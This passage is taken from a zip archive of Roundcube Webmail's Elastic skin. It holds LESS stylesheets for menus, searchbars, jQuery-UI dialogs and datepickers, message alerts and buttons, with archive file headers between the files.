            font-size: 90%;
            text-align: center;
            max-height: 1.6rem;
            margin: 0 .2rem;

            html.layout-phone & {
                display: none;
            }
        }

        span.inner {
            display: none;
        }

        &.pagenav-list {
            cursor: pointer;
            background-color: @color-searchbar-background;
            border-bottom: 1px solid @color-list-border;

            a {
                flex-grow: unset;
            }

            .pagenav-text {
                text-align: left;
                font-size: 100%;
            }

            & + .navlist {
                background-color: #fbfbfb;
            }

            &.expanded + .navlist {
                border-bottom: 1px solid @color-layout-border;
            }
        }
    }

    &.content-frame-navigation.hide-nav-buttons {
        a.next,
        a.prev {
            display: none;
        }
    }

    .listselectors {
        max-width: 100%;
        display: flex;
        justify-content: space-around;
    }

    .buttons {
        display: block;

        button {
            display: block;
            float: left;
            cursor: pointer;
            color: @color-toolbar-button;
            background-color: transparent;
            border: 0;
            padding: 0;
            height: @layout-touch-header-height;
            line-height: @layout-touch-header-height;
            width: 2.5em;

            &:before {
                font-size: 1.75rem;
            }
        }
    }

    .popover & {
        li {
            display: block;
            height: auto;
            text-align: left;

            &.spacer {
                display: none;
            }

            &:last-child {
                border: 0;
            }

            &.separator {
                line-height: 1.5rem !important;
                font-size: .75rem !important;
                padding: 0 .5rem;
                color: @color-popover-separator;
                background-color: @color-popover-separator-background;

                label {
                    margin: 0; // Unsets Bootstrap label margin, bug?
                }
            }

            a {
                height: unset;
                max-width: 100%;
                width: 100%;
                line-height: @listing-line-height;
                display: block;
                padding: 0 .5rem;
                text-align: left;

                &:before {
                    line-height: inherit;
                    height: inherit !important;
                    margin-right: .5rem !important;
                    float: left !important;
                    width: 1.18em !important;
                    min-width: 1.18em;
                }

                &:not(.disabled):hover {
                    color: @color-menu-hover;
                    background-color: @color-menu-hover-background;
                }

                &[aria-haspopup] {
                    display: flex;

                    &:after {
                        &:extend(.font-icon-class);
                        color: @color-black-shade-text;
                        font-size: .9em;
                        margin: 0 0 0 .2em;
                        min-width: 1.18em;
                        content: @fa-var-chevron-right;

                        html.layout-small & {
                            margin: 0 .2em;
                        }
                    }

                    &.dropdown:after {
                        color: @color-list;
                        margin: 0 .6em !important;
                    }

                    &:hover:after {
                        color: @color-menu-hover;
                    }

                    & > span {
                        .overflow-ellipsis();
                        flex: 1;
                    }
                }
            }

            span.inner {
                font-size: 100%;
            }
        }

        .dropbutton {
            display: flex;

            a:first-child {
                .overflow-ellipsis();
                flex: 1;
            }

            &:not(.disabled):hover {
                background-color: @color-popover-mobile-dropbutton-background;
            }

            a.dropdown {
                width: 3.5rem;
                padding: 0 .5em;
                background-color: @color-popover-mobile-dropbutton-background;

                &:hover {
                    background-color: @color-menu-hover-background;
                }

                // Note: :before icon is replaced with :after icon by a[aria-haspopup] above

                &:before,
                span.inner {
                    display: none;
                }
            }
        }

        &.no-icon a:before {
            display: none;
        }
    }
}

@media screen and (min-width: (@screen-width-small + 1px)) {
    .content-frame-navigation {
        display: none !important;
    }

    .header a.button.icon {
        &:not(.disabled):focus,
        &:not(.disabled):hover {
            background-color: @color-toolbar-button-background-hover;
            outline: 0;
        }

        &:before {
            margin: 0;
        }
    }
}

@media screen and (max-width: @screen-width-small) {
    .menu.footer {
        justify-content: space-around !important;

        & > * {
            flex-grow: 1;
        }

        .buttons {
            display: flex;
            justify-content: space-evenly;
        }

        .listselectors > * {
            flex-grow: 1;
        }
    }

    .menu.listing a {
        color: @color-font;
    }
}

a.toolbar-button {
    cursor: pointer;

    @media screen and (min-width: (@screen-width-large + 1px)) {
        line-height: 1.5;
        padding: .45rem;

        &:before {
            float: none !important;
            height: 1.75rem !important;
            line-height: 1.5;
            width: auto !important;
        }

        span.inner {
            display: inline !important;
            font-weight: normal;
            font-size: 90%;
        }
    }
}

/*** Menu button icons ***/

.menu a {
    &.mail:before {
        content: @fa-var-envelope;
    }
    &.contacts:before {
        content: @fa-var-users;
    }
    &.options:before {
        content: @fa-var-sliders-h;
    }
    &.settings:before {
        content: @fa-var-cog;
    }
    &.theme.light:before {
        content: @fa-var-sun;
    }
    &.theme.dark:before {
        content: @fa-var-moon;
    }
    &.help:before {
        content: @fa-var-life-ring;
    }
    &.logout:before {
        content: @fa-var-power-off;
    }
    &.about:before {
        content: @fa-var-question;
    }
    &.refresh:before {
        content: @fa-var-sync;
    }
    &.compose:before {
        content: @fa-var-edit;
    }
    &.calendar:before {
        content: @fa-var-calendar-alt;
    }
    &.tasklist:before {
        content: @fa-var-tasks;
    }
    &.files:before {
        content: @fa-var-folder;
    }
    &.notes:before {
        content: @fa-var-sticky-note;
    }
    &.chat:before {
        content: @fa-var-comments;
    }
    &.actions:before {
        content: @fa-var-cog;
    }
    &.addressbook:before {
        content: @fa-var-user;
    }
    &.archive:before {
        content: @fa-var-archive;
    }
    &.assigngroup:before {
        content: @fa-var-user-plus;
    }
    &.attach:before,
    &.vcard:before {
        content: @fa-var-paperclip;
    }
    &.next:before {
        content: @fa-var-arrow-right;
    }
    &.prev:before,
    &.back:before {
        content: @fa-var-arrow-left;
    }
    &.check:before {
        content: "\00a0"; // just a space
    }
    &.check.selected:before {
        content: @fa-var-check;
    }
    &.closewin:before {
        content: @fa-var-window-close;
    }
    &.collapse:before {
        content: @fa-var-angle-down;
    }
    &.copy:before {
        content: @fa-var-copy;
    }
    &.create:before {
        content: @fa-var-plus-square;
    }
    &.delete:before {
        content: @fa-var-trash-alt;
    }
    &.download:before,
    &.download.eml:before,
    &.download.maildir:before,
    &.download.mbox:before {
        content: @fa-var-download;
    }
    &.dropdown:before {
        content: @fa-var-caret-down;
    }
    &.edit:before {
        content: @fa-var-pencil-alt;
    }
    &.encrypt:before,
    &.enigma:before {
        content: @fa-var-lock;
    }
    &.encrypt.sign:before {
        content: @fa-var-lock; // TODO
    }
    &.expand:before {
        content: @fa-var-angle-right;
    }
    &.expand.all:before {
        content: @fa-var-angle-double-down;
    }
    &.expand.none:before {
        content: @fa-var-angle-double-up;
    }
    &.export:before,
    &.export.all:before,
    &.export.selection:before {
        content: @fa-var-download;
    }
    &.expunge:before {
        content: @fa-var-compress-arrows-alt;
    }
    &.extwin:before {
        content: @fa-var-external-link-square-alt;
    }
    &.filterlink:before {
        content: @fa-var-filter;
    }
    &.firstpage:before {
        content: @fa-var-angle-double-left;
    }
    &.nextpage:before {
        content: @fa-var-angle-right;
    }
    &.prevpage:before {
        content: @fa-var-angle-left;
    }
    &.lastpage:before {
        content: @fa-var-angle-double-right;
    }
    &.flag:before,
    &.select.flagged:before {
        .font-icon-solid(@fa-var-flag);
    }
    &.unflag:before {
        .font-icon-regular(@fa-var-flag);
    }
    &.undo:before {
        content: @fa-var-redo;
    }
    &.folders:before {
        content: @fa-var-folder;
    }
    &.forward:before,
    &.forward.attachment:before,
    &.forward.bounce:before,
    &.forward.inline:before {
        content: @fa-var-share;
    }
    &.import:before,
    &.upload:before {
        content: @fa-var-upload;
    }
    &.insertresponse:before {
        content: @fa-var-comment;
    }
    &.junk:before {
        content: @fa-var-fire-alt;
    }
    &.notjunk:before {
        content: @fa-var-inbox;
    }
    &.markmessage:before {
        content: @fa-var-tag;
    }
    &.more:before {
        content: @fa-var-ellipsis-h;
    }
    &.move:before {
        content: @fa-var-folder-open;
    }
    &.print:before {
        content: @fa-var-print;
    }
    &.properties:before {
        content: @fa-var-file;
    }
    &.purge:before {
        content: @fa-var-eraser;
    }
    &.qrcode:before {
        content: @fa-var-qrcode;
    }
    &.read:before {
        .font-icon-regular(@fa-var-envelope-open);
    }
    &.unread:before,
    &.expand.unread:before,
    &.select.unread:before {
        .font-icon-solid(@fa-var-envelope);
    }
    &.recipient:before {
        .font-icon-regular(@fa-var-envelope);
    }
    &.refresh:before {
        content: @fa-var-sync;
    }
    &.remove:before {
        content: @fa-var-eraser;
    }
    &.removegroup:before {
        content: @fa-var-user-times;
    }
    &.rename:before {
        content: @fa-var-pencil-alt;
    }
    &.reply:before {
        content: @fa-var-reply;
    }
    &.reply-all:before,
    &.reply.all:before,
    &.reply.list:before {
        content: @fa-var-reply-all;
    }
    &.responses:before {
        content: @fa-var-comment;
    }
    &.rotate:before {
        content: @fa-var-redo-alt;
    }
    &.save:before {
        .font-icon-regular(@fa-var-save);
    }
    &.search:before {
        content: @fa-var-search;
    }
    &.search.delete:before {
        content: @fa-var-trash-alt;
    }
    &.select:before {
        content: @fa-var-mouse-pointer;
    }
    &.select.all:before {
        content: @fa-var-asterisk;
    }
    &.select.invert:before {
        content: @fa-var-check-square;
    }
    &.select.none:before {
        .font-icon-solid(@fa-var-times);
    }
    &.select.page:before {
        .font-icon-solid(@fa-var-bars);
    }
    &.selection:before {
        .font-icon-regular(@fa-var-check-square) !important;
    }
    &.send:before {
        content: @fa-var-paper-plane;
    }
    &.showurl:before {
        content: @fa-var-link;
    }
    &.signature:before {
        content: @fa-var-signature;
    }
    &.source:before {
        content: @fa-var-file-code;
    }
    &.spellcheck:before {
        content: @fa-var-spell-check;
    }
    &.status:before {
        .font-icon-regular(@fa-var-lightbulb);
    }
    &.submit:before {
        content: @fa-var-check;
    }
    &.info:before {
        content: @fa-var-info-circle;
    }
    &.threads:before {
        content: @fa-var-comments;
    }
    &.zoomin:before {
        content: @fa-var-search-plus;
    }
    &.zoomout:before {
        content: @fa-var-search-minus;
    }
}


/*** Searchbar and searchoptions widgets ***/

.searchbar {
    height: @layout-searchbar-height;
    min-height: @layout-searchbar-height; // because of Flexbox
    line-height: @layout-searchbar-height;
    background-color: @color-searchbar-background;
    border-bottom: 1px solid @color-list-border;
    display: flex;
    align-items: center;
    overflow: hidden;
    position: relative;

    form {
        flex: 1;
        display: flex;

        &:before {
            &:extend(.font-icon-class);
            content: @fa-var-search;
            height: @layout-searchbar-height;
            color: @color-list-pagenav;
            margin: 0 0 0 .75rem;
        }
    }

    input {
        width: 100%;
        border: 0;
        background: transparent;
        padding: .5rem;
        line-height: normal; // fixes placeholder misalignment in IE11
        outline: 0; // removes focus outline in Chrome

        &::-ms-clear {
            display: none; // for IE
        }
    }

    a {
        color: @color-toolbar-button;

        &:before {
            &:extend(.font-icon-class);
            width: 2rem;
            height: @layout-searchbar-height;
            margin: 0;
        }

        &.options:before {
            content: @fa-var-angle-down;
        }

        &.reset:before {
            content: @fa-var-times;
            font-size: 1rem;
        }

        &.unread:before {
            .font-icon-solid(@fa-var-envelope);
        }

        &.reset,
        &.search {
            display: none;
        }

        &.selected {
            color: @color-success;
        }
    }

    span.inner {
        display: none;
    }

    &.active {
        a.reset {
            display: inline;
        }
    }

    &.open a.options:before {
        content: @fa-var-angle-up;
    }
}

.searchoptions {
    button.search {
        width: 100%;
    }

    ul.proplist {
        & + div {
            margin-top: 1rem;
        }
    }

    .input-group {
        &:not(:last-child) {
            margin-bottom: .5rem;
        }

        .input-group-prepend {
            width: 30%;
        }

        label {
            width: 100%;
        }
    }

    .formbuttons {
        // this is needed because we hide .formbuttons on small devices
        // we don't want it for search options form
        display: block !important;
    }
}


/*** Taskmenu ***/

#taskmenu {
    a {
        display: block;
        float: none;
    }

    @media screen and (max-width: @screen-width-xs) {
        z-index: 30001; // because autocompletion popup uses z-index:30000
        overflow-x: hidden;

        a {
            max-width: unset;
            padding: 0 .5em;
            margin-top: 1px;
            text-align: left;
            line-height: @layout-touch-menu-record-height;
            height: @layout-touch-menu-record-height;
            border-bottom: 1px solid @color-list-border !important;
            color: @color-list;
            font-size: 1.2rem;

            &:before {
                float: left !important;
                width: 1.2em !important;
                margin-right: .5rem !important;
            }
        }

        span.inner {
            font-size: 100%;
        }
    }

    @media screen and (min-width: (@screen-width-xs + 1px)) {
        a {
            color: @color-taskmenu-button;
            padding: .45rem 0;
            min-width: unset;

            &.selected {
                color: @color-taskmenu-button-selected;
                background: @color-taskmenu-button-selected-background;

                &:hover {
                    color: @color-taskmenu-button-selected-hover;
                    background: @color-taskmenu-button-background-hover;
                }
            }

            &:hover {
                color: @color-taskmenu-button-hover;
                background: @color-taskmenu-button-background-hover;
            }
        }

        .special-buttons {
            position: absolute;
            bottom: 0;
            left: 0;
            background-color: @color-taskmenu-background;
        }

        .action-buttons {
            a {
                color: @color-taskmenu-button-action;
                background: @color-taskmenu-button-action-background;

                &:hover {
                    color: @color-taskmenu-button-action-hover;
                    background: @color-taskmenu-button-action-background-hover;
                }
            }
        }

        a.logout {
            color: @color-taskmenu-button-logout !important;

            &:hover {
                color: @color-taskmenu-button-logout-hover !important;
            }
        }
    }

    @media screen and (min-width: (@screen-width-xs + 1px)) and (max-width: @screen-width-medium) {
        a {
            width: @layout-menu-width-sm;
            height: @layout-menu-width-sm;
            font-size: 1.2rem;
            padding: 0;

            &:before {
                line-height: @layout-menu-width-sm;
            }
        }

        span.inner {
            display: none;
        }
    }

    @media screen and (min-width: (@screen-width-medium + 1px)) {
        a {
            width: @layout-menu-width;
            font-size: 1rem;

            &:before {
                float: none; // fixed overflowing text in Edge
            }

            &:focus {
                background-color: @color-taskmenu-button-selected-background;
            }
        }

        span.inner {
            padding: 0 .1em;
        }
    }
}
PKh�\
>�`*`**skins/elastic/styles/widgets/jqueryui.lessnu�[���/**
 * Roundcube Webmail styles for the Elastic skin
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The contents are subject to the Creative Commons Attribution-ShareAlike
 * License. It is allowed to copy, distribute, transmit and to adapt the work
 * by keeping credits to the original authors in the README.md file.
 * See http://creativecommons.org/licenses/by-sa/3.0/ for details.
 */

/*** jQuery-UI widgets' style overrides ***/

.ui-widget-overlay {
    background-color: @color-dialog-overlay-background;
    opacity: 1 !important; // override jQuery-UI opacity, the color above is semi-transparent

    &.datepicker {
        z-index: 119; // above Bootstrap's form controls, below datepicker
    }
}

.ui-widget {
    border: 1px solid @color-datepicker-border;
    box-shadow: 3px 3px 5px @color-popover-shadow;
    border-radius: .3rem;
}

.ui-menu {
    overflow-y: auto;
    overflow-x: hidden;
    max-height: 400px;
    border-radius: .3rem;
    z-index: 240;
    position: absolute;

   .ui-state-active {
        border: 0 !important;
        background-color: @color-menu-hover-background !important;
    }

    .ui-menu-item {
        white-space: nowrap;
        cursor: default;
    }

    .ui-menu-item-wrapper {
        margin: 0 !important;
    }
}

.ui-dialog {
    border-radius: 0;
    box-shadow: none;

    &.no-titlebar {
        .ui-dialog-titlebar {
            display: none;
        }
    }

    .ui-dialog-titlebar {
        height: @layout-header-height;
        border-bottom: 1px solid @color-dialog-header-border;

        button {
            &:before {
                margin: 0;
            }
        }
    }

    .ui-dialog-title {
        line-height: @layout-header-height;
        font-size: 1.25rem;
        padding: 0 3rem 0 1rem;
        color: @color-dialog-header;
    }

    .ui-dialog-titlebar-close {
        border: 0;
        color: @color-dialog-header;
        background: transparent;
        right: 0;
        top: 0;
        position: absolute;
        padding: .25rem .5rem;
        margin: ((@layout-header-height - 2 * @page-font-size) / 2) .5rem;

        &:before {
            &:extend(.font-icon-class);
            content: @fa-var-times;
            line-height: 1.5rem;
            margin: 0 !important;
        }
    }

    .ui-dialog-content {
        & > .popupmenu {
            display: block !important;
        }
    }

    .ui-dialog-buttonpane {
        .ui-dialog-buttonset {
            display: flex;
            justify-content: flex-end;

            a.btn-link,
            button {
                .overflow-ellipsis();
                min-width: 5rem;
                margin: floor(.65 * @page-font-size) floor(.3 * @page-font-size);

                &:last-child {
                    margin-right: 0;
                }
            }

            a.btn-link {
                padding-right: 0;
                padding-left: 0;
                text-decoration: none;
                color: @color-font;

                &:focus {
                    background-color: fade(@color-btn-primary-background, 50%);
                }

                &.options {
                    order: -1;
                    padding: .375rem .25rem;
                    margin-right: .3rem;

                    &:before {
                        // this icon is for mobile version
                        &:extend(.font-icon-class);
                        content: @fa-var-cog;
                        width: 100%;
                        height: 1.25em;
                    }
                }
            }
        }
    }

    iframe,
    .ui-dialog-content.iframe {
        padding: 0;
        width: 100% !important;
        height: 100%;
        border: 0;
        overflow: hidden;
    }
}

// Fix scrollbar/resize issue e.g. in qr-code dialog
.ui-dialog,
.ui-dialog-content {
    box-sizing: initial;
}

// Overwriting this icon generally prevents from loading bigger images sprite from jQuery-UI
.ui-widget-content .ui-icon.ui-resizable-se {
    background: @icon-resize-corner;
}

/* FIXME: why do I need !important here? */

@media screen and (max-width: @screen-width-xs) {
    .ui-dialog {
        width: 100% !important;
        height: 100% !important;
        display: flex;
        flex-direction: column;
        border: 0;
        top: 0 !important; // for Chrome

        .ui-resizable-handle,
        .ui-dialog-titlebar-close {
            display: none !important;
        }

        .ui-dialog-titlebar {
            height: @layout-touch-header-height;
            text-align: center;
            background-color: @color-layout-mobile-header-background;
        }

        .ui-dialog-title {
            line-height: @layout-touch-header-height;
            font-size: @layout-header-font-size;
            padding: 0 1rem;
        }

        .ui-dialog-content {
            flex: 1;
            &:not(.iframe) {
                padding: 1rem;
            }
        }

        .ui-dialog-buttonpane {
            padding: 0 !important;
            text-align: center !important;
            border-top: 1px solid @color-dialog-header-border;
            height: @layout-header-height !important;
            background-color: @color-layout-mobile-footer-background;

            .ui-dialog-buttonset {
                justify-content: space-around;

                button {
                    margin: 0 !important;
                    padding: .45rem;
                    border: 0 !important;
                    height: @layout-header-height;
                    box-shadow: none;
                    font-size: 90%;
                    line-height: 1.5;

                    &:before {
                        display: block !important;
                        float: none;
                        width: auto;
                        height: 1.75rem;
                        line-height: 1.75;
                        margin: 0 !important;
                    }

                    &:active {
                        box-shadow: none;
                    }

                    &.btn-primary,
                    &.btn-secondary {
                        color: @color-toolbar-button;
                        background: transparent;
                    }

                    &.btn-danger {
                        color: @color-btn-danger-background;
                        background: transparent;
                    }

                    &.disabled,
                    &:disabled {
                        opacity: .5;
                    }

                    &.cancel {
                        order: 100; // makes Cancel/close button the last one
                    }
                }

                a.btn-link {
                    color: @color-toolbar-button;
                    margin: 0;
                    padding: .45rem;
                    font-size: 90%;

                    &.options:before {
                        display: block !important;
                        height: 1.75rem;
                        line-height: 1.75;
                        margin: 0;
                    }
                }
            }
        }
    }
}

/* Slider widget */

.ui-slider {
    box-shadow: none;

    .ui-slider-range {
        border-radius: .3rem;
        background: lighten(@color-main, 30%);
    }

    .ui-slider-handle {
        border-radius: .3rem;

        &.ui-state-active {
            background: @color-main;
            border-color: @color-main-dark;
        }
    }
}

/* Datepicker widget */

.ui-datepicker {
    // Always display datepicker centered, overwriting widgets position
    margin: ~"calc(50vh - 10em) calc(50vw - 10em) !important";
    top: 0 !important;
    left: 0 !important;
    box-shadow: none;
    user-select: none;

    &:not(.ui-datepicker-inline) {
        z-index: 120 !important; // fixes datepicker over input-group and dialogs
    }

    .ui-datepicker-header,
    .ui-datepicker-title {
        line-height: 4rem;
        height: 4rem;
        padding: 0;
    }

    .ui-datepicker-header {
        border-bottom: 1px solid @color-dialog-header-border;

        a {
            height: 4rem;
        }

        select {
            display: inline-block;
        }
    }

    .ui-icon {
        background-image: none !important;
        background-position: none !important;
    }

    .ui-datepicker-prev,
    .ui-datepicker-next {
        cursor: pointer;
        width: auto;
        color: @color-font;
        text-decoration: none;

        &:before {
        &:extend(.font-icon-class);
            content: "\f053";
            margin: 0 .25em;
            height: auto;
            width: 1em;
        }
    }

    .ui-datepicker-prev:before {
        content: "\f053";
    }

    .ui-datepicker-next:before {
        content: "\f054";
    }

    td a {
        padding: 0;
        line-height: 1.8em;
        border-radius: .3rem;
    }

    .ui-state-default,
    &.ui-widget-content .ui-state-default {
        border: 0;
        background: transparent;
        color: @color-datepicker-font;
    }

    .ui-datepicker-days-cell-over a,
    .ui-datepicker-days-cell-over a.ui-state-default,
    .ui-state-highlight,
    &.ui-widget-content .ui-state-highlight {
        background: @color-datepicker-highlight-background;
        color: @color-datepicker-highlight;
    }

    a.ui-state-active {
        background: @color-datepicker-active-background !important;
        color: @color-datepicker-active !important;
        font-weight: bold;
    }

    html.touch {
        & {
            td a {
                font-size: 1.2em;
                line-height: 2.2em;
            }
        }
    }
}

// Fixes datepicker z-index issue on input-group inputs in dialogs
// With non-relative position the input's z-index is ignored
.input-group > .form-control.hasDatepicker {
    position: initial;
}

.minicolors-panel {
    border: 1px solid @color-datepicker-border;
    box-shadow: 3px 3px 5px @color-popover-shadow;
    border-radius: .3rem;
    height: 152px;
    padding: 1px;
}

.input-group {
    .minicolors-input {
        width: 100%;
        // needed so minicolors panel is not out of screen
        // when the input is on the right side, e.g. Calendar plugin settings
        // This is obviously minicolors script issue
        min-width: 130px;
        border-left: 0;
        border-right: 0;
    }
}

@media screen and (max-width: @screen-width-mini) {
    .ui-widget-content {
        border-radius: 0;
    }

    .ui-menu {
        border-radius: .3rem;
        left: 15px !important;
        right: 15px;
        width: auto;
    }

    .ui-dialog {
        .ui-dialog-content:not(.iframe) {
            padding: .65rem;
        }
    }

    .ui-autocomplete {
        // TODO: e.g. time input autocompletion on mobile
    }
}
PKh�\U����*skins/elastic/styles/widgets/messages.lessnu�[���/**
 * Roundcube Webmail styles for the Elastic skin
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The contents are subject to the Creative Commons Attribution-ShareAlike
 * License. It is allowed to copy, distribute, transmit and to adapt the work
 * by keeping credits to the original authors in the README.md file.
 * See http://creativecommons.org/licenses/by-sa/3.0/ for details.
 */

/*** UI Messages ***/

// .boxwarning/.boxerror/.boxinformation classes are converted to .ui.alert in bootstrap_init()

.ui.alert {
    margin: 0;
    margin-bottom: .2rem;
    opacity: .95;
    width: 100%;
    padding: .75em;
    color: @color-message;
    border: 1px solid @color-message-border;
    background-color: @color-message-background;
    display: flex;
    align-items: center;

    @media screen and (max-width: @screen-width-xs) {
        border: 0;
    }

    span {
        margin: auto 0;
    }

    & > i.icon {
        line-height: 1;
        color: lighten(@color-black, 25%);
        margin: auto 0;
    }

    & > i.icon:before {
        &:extend(.font-icon-class);
        content: @fa-var-info-circle;
        margin-right: .6rem;
    }

    .btn {
        margin-left: .5rem;
    }

    &.loading {
        color: @color-message-loading;

        & > i.icon:before {
            content: @fa-var-circle-notch;
            .animated-icon-class();
            width: 1em;
        }
    }

    &.alert-success > i.icon:before {
        content: @fa-var-check-circle;
        color: @color-message-success;
    }

    &.alert-warning > i.icon:before {
        content: @fa-var-exclamation-triangle;
        color: @color-message-warning;
    }

    &.alert-danger > i.icon:before {
        content: @fa-var-exclamation-circle;
        color: @color-message-error;
    }

    &.vcardattachment > i.icon:before {
        content: @fa-var-address-card; // vcard_attachments plugin
    }

    &.enigmaattachment > i.icon:before {
        content: @fa-var-key; // enigma plugin
    }

    &.signed > i.icon:before,
    &.encrypted > i.icon:before {
        content: @fa-var-lock; // enigma plugin
    }

    &.chat > i.icon:before {
        content: @fa-var-comment;
    }

    // #6797: Fix for long buttons issue
    .boxbuttons {
        white-space: nowrap;

        .btn {
            .overflow-ellipsis();
            max-width: 220px;
        }

        @media screen and (max-width: @screen-width-xs) {
            display: flex;
            flex-direction: column;

            .btn {
                max-width: 160px;

                &:not(:first-child) {
                    margin-top: .25rem;
                }
            }
        }
    }

    // This works with following structure: <i> <span> [button].
    // <span> here is a one-line text, and button can be anything but <span>.
    &.aligned-buttons {
        display: flex;

        span {
            flex: 1;
        }
    }

    a:not(.btn) {
        color: @color-message-link;
        font-weight: @color-message-link-font-weight;
    }

    h3 {
        font-weight: bold;
        font-size: 1.2rem;
    }

    p {
        margin: 1rem 0;
    }

    &.boxerror,
    &.boxconfirmation,
    &.boxinformation,
    &.boxwarning {
        padding: .5em;
        border-radius: 0;

        i.icon {
            font-size: 1.5em !important;
        }
    }

    &.boxerror {
        background-color: @color-message-error-box-background;
        & when not(@color-message-error-box = @color-message) { color: @color-message-error-box; }
    }

    &.boxinformation {
        background-color: @color-message-information-box-background;
        & when not(@color-message-information-box = @color-message) { color: @color-message-information-box; }
    }

    &.boxconfirmation {
        background-color: @color-message-success-box-background;
        & when not(@color-message-error-box = @color-message) { color: @color-message-error-box; }
    }

    &.boxwarning {
        background-color: @color-message-warning-box-background;
        & when not(@color-message-warning-box = @color-message) { color: @color-message-warning-box; }
    }

    & + table {
        margin-top: 1em;
    }
}

#messagestack {
    position: absolute;
    bottom: .5em;
    right: .7em;
    z-index: 105; // needs to be above .ui-widget-overlay
    width: 320px;
    height: auto;
    max-height: 85%;

    @media screen and (max-width: @screen-width-xs) {
        left: 0;
        right: 0;
        bottom: 0;
        width: auto;
    }

    div {
        background-color: @color-message;
        color: @color-message-text;

        @media screen and (max-width: @screen-width-xs) {
            margin: 0;
            border-radius: 0;
            min-height: 4.2rem;
        }

        &.voice {
            position: absolute;
            top: -1000px;
        }

        i.icon {
            font-size: 1.5em !important;
        }

        & > i.icon:before {
            color: @color-message-text;
        }

        &:last-child {
            margin-bottom: 0;
        }
    }

    .loading {
        background-color: @color-message-loading;
        & when not(@color-message-loading-text = @color-message-text) { color: @color-message-loading-text; }
        & > i.icon:before {
            & when not(@color-message-loading-text = @color-message-text) { color: @color-message-loading-text; }
        }
    }

    .alert-info.information {
        background-color: @color-message-information;
        & when not(@color-message-information-text = @color-message-text) { color: @color-message-information-text; }
        & > i.icon:before {
            & when not(@color-message-information-text = @color-message-text) { color: @color-message-information-text; }
        }
    }

    .alert-success {
        background-color: @color-message-success;
        & when not(@color-message-success-text = @color-message-text) { color: @color-message-success-text; }
        & > i.icon:before {
            & when not(@color-message-success-text = @color-message-text) { color: @color-message-success-text; }
        }
    }

    .alert-warning {
        background-color: @color-message-warning;
        & when not(@color-message-warning-text = @color-message-text) { color: @color-message-warning-text; }
        & > i.icon:before {
            & when not(@color-message-warning-text = @color-message-text) { color: @color-message-warning-text; }
        }
    }

    .alert-danger {
        background-color: @color-message-error;
        & when not(@color-message-error-text = @color-message-text) { color: @color-message-error-text; }
        & > i.icon:before {
            & when not(@color-message-error-text = @color-message-text) { color: @color-message-error-text; }
        }
    }

    a {
        color: inherit !important;
        text-decoration: underline;
        cursor: pointer;
    }
}
PKh�\|fV|j j )skins/elastic/styles/widgets/buttons.lessnu�[���/**
 * Roundcube Webmail styles for the Elastic skin
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The contents are subject to the Creative Commons Attribution-ShareAlike
 * License. It is allowed to copy, distribute, transmit and to adapt the work
 * by keeping credits to the original authors in the README.md file.
 * See http://creativecommons.org/licenses/by-sa/3.0/ for details.
 */

/*** Buttons ***/


.button.disabled {
    opacity: .5;
}

a.button {
    text-decoration: none !important;
}


/* font-icons */

a.button.icon,
button.btn {
    &:before {
        &:extend(.font-icon-class);
    }
    &.sidebar-menu:before,
    &.toolbar-menu-button:before,
    &.toolbar-list-button:before {
        content: @fa-var-ellipsis-v;
        width: 1em;
    }
    &.task-menu-button:before {
        content: @fa-var-bars;
    }
    &.back-sidebar-button:before,
    &.back-content-button:before,
    &.back-list-button:before {
        content: @fa-var-chevron-left;
    }
    &.refresh:before {
        content: @fa-var-sync;
    }
    &.generate:before,
    &.yes:before,
    &.submit:before,
    &.continue:before,
    &.save:before {
        content: @fa-var-check;
    }
    &.create:before {
        content: @fa-var-plus-square;
    }
    &.edit:before {
        content: @fa-var-pencil-alt;
    }
    &.qrcode:before {
        content: @fa-var-qrcode;
    }
    &.search:before {
        content: @fa-var-search;
    }
    &.filter:before {
        content: @fa-var-filter;
        font-size: 1.2em; // this icon is too-big in FA5
    }
    &.import:before {
        content: @fa-var-upload;
    }
    &.export:before {
        content: @fa-var-download;
    }
    &.discard:before,
    &.delete:before {
        .font-icon-regular(@fa-var-trash-alt);
    }
    &.next:before {
        content: @fa-var-arrow-right;
    }
    &.restore:before {
        content: @fa-var-undo;
    }
    &.send:before,
    &.bounce:before {
        content: @fa-var-paper-plane;
    }
    &.attach:before {
        content: @fa-var-paperclip;
    }
    &.attach.vcard:before {
        content: @fa-var-user;
    }
    &.no:before,
    &.close:before,
    &.cancel:before {
        content: @fa-var-times;
    }
    &.back:before {
        content: @fa-var-chevron-left;
    }
    &.remove:before {
        content: @fa-var-times;
    }
    &.unlock:before {
        content: @fa-var-unlock;
    }
    &.help:before {
        .font-icon-regular(@fa-var-life-ring);
    }
    &.folders:before {
        content: @fa-var-folder-open;
    }
    &.options:before {
        content: @fa-var-sliders-h;
    }
    &.tools:before,
    &.settings:before {
        content: @fa-var-cog;
    }
    &.properties:before {
        content: @fa-var-info-circle;
    }
    &.selection:before {
        .font-icon-regular(@fa-var-check-square);
    }
    &.insert.recipient:before {
        content: @fa-var-user-plus;
    }
    &.encrypt:before {
        content: @fa-var-lock;
    }
    &.sign:before {
        content: @fa-var-signature;
    }
    &.sso:before {
        content: @fa-var-sign-in-alt;
    }
    &.extwin:before {
        content: @fa-var-external-link-square-alt;
    }
}

a.btn,
button.btn {
    &:before {
        display: inline !important;
        float: none !important;
        vertical-align: middle;
        margin-right: .4rem !important; // !important needed for a.btn
    }

    &.oauth.google:before,
    &.oauth.outlook:before {
        content: " ";
        display: inline-block !important;
        height: 1.5rem;
        width: 1.5rem;
        margin-right: .8rem !important;
        background-size: 100% auto;
    }

    &.oauth.google:before {
        background: url('../images/google-icon.svg') top left no-repeat;
    }

    &.oauth.outlook:before {
        background: url('../images/microsoft-icon.svg') top left no-repeat;
    }
}

a.button.icon {
    &.dropdown:before {
        content: @fa-var-caret-down;
        font-size: 1em;
    }
    & > span.inner {
        display: none;
    }
}

html.touch {
    .btn:focus {
        box-shadow: none !important;
    }
}

@floating-action-button-size: 4rem;

.floating-action-buttons {
    position: absolute;
    right: 0;
    bottom: 0;

    .footer:not(:empty) + & {
        bottom: @layout-footer-small-height;
    }

    a.button {
        display: block;
        float: left;
        width: @floating-action-button-size;
        height: @floating-action-button-size;
        border-radius: 50%;
        background: @color-main;
        color: white;
        opacity: .95;
        box-shadow: 0 0 5px 5px lighten(@color-main, 35%);
        margin: 0 1rem 1rem 0;

        &:before {
            &:extend(.font-icon-class);
            content: @fa-var-plus;
            width: @floating-action-button-size;
            height: @floating-action-button-size;
            line-height: @floating-action-button-size;
        }

        &.compose {
            &:before {
